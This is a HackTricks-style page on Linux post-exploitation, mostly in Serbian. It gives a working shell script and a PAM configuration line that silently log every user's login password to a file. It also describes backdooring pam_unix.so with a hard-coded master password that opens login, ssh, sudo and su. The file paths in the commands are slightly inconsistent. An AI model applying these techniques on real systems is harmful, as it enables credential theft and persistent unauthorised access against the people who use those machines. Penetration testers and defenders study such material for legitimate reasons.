Linux Post-Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Sniffing Logon Passwords with PAM

Hajde da konfigurišemo PAM modul da beleži svaku lozinku koju korisnik koristi za prijavu. Ako ne znaš šta je PAM, proveri:

PAM - Pluggable Authentication Modules

Za više detalja proveri originalni post. Ovo je samo sažetak:

Pregled tehnike: Pluggable Authentication Modules (PAM) nude fleksibilnost u upravljanju autentifikacijom na Unix-baziranim sistemima. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizike ako se zloupotrebe. Ovaj sažetak opisuje tehniku za hvatanje prijavnih podataka koristeći PAM, zajedno sa strategijama ublažavanja.

Hvatanje podataka:

• Bash skripta pod nazivom toomanysecrets.sh je napravljena da beleži pokušaje prijave, hvatajući datum, korisničko ime ($PAM_USER), lozinku (putem stdin) i IP adresu udaljenog hosta ($PAM_RHOST) u /var/log/toomanysecrets.log.

• Skripta je učinjena izvršnom i integrisana u PAM konfiguraciju (common-auth) koristeći pam_exec.so modul sa opcijama za tiho izvršavanje i izlaganje autentifikacionog tokena skripti.

• Ovaj pristup pokazuje kako se kompromitovani Linux host može iskoristiti za diskretno beleženje podataka o prijavi.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Za više detalja pogledajte originalni post. Ovo je samo sažetak:

Pluggable Authentication Module (PAM) je sistem koji se koristi pod Linux-om za autentifikaciju korisnika. Operiše na tri glavna koncepta: korisničko ime, lozinka i usluga. Konfiguracione datoteke za svaku uslugu nalaze se u direktorijumu /etc/pam.d/, gde deljene biblioteke obrađuju autentifikaciju.

Cilj: Modifikovati PAM da omogući autentifikaciju sa specifičnom lozinkom, zaobilazeći stvarnu korisničku lozinku. Ovo je posebno fokusirano na pam_unix.so deljenu biblioteku koja se koristi u common-auth datoteci, koja je uključena od strane skoro svih usluga za verifikaciju lozinke.

Koraci za modifikaciju pam_unix.so:

1. Pronađite direktivu za autentifikaciju u common-auth datoteci:

• Linija odgovorna za proveru korisničke lozinke poziva pam_unix.so.

1. Modifikujte izvorni kod:

• Dodajte uslovnu izjavu u pam_unix_auth.c izvornoj datoteci koja omogućava pristup ako se koristi unapred definisana lozinka, inače se nastavlja sa uobičajenim procesom autentifikacije.

1. Ponovo kompajlirajte i zamenite modifikovanu pam_unix.so biblioteku u odgovarajućem direktorijumu.

2. Testiranje:

• Pristup se odobrava kroz razne usluge (prijava, ssh, sudo, su, zaštita ekrana) sa unapred definisanom lozinkom, dok normalni procesi autentifikacije ostaju nepromenjeni.

Možete automatizovati ovaj proces sa https://github.com/zephrax/linux-pam-backdoor

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitter-u 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.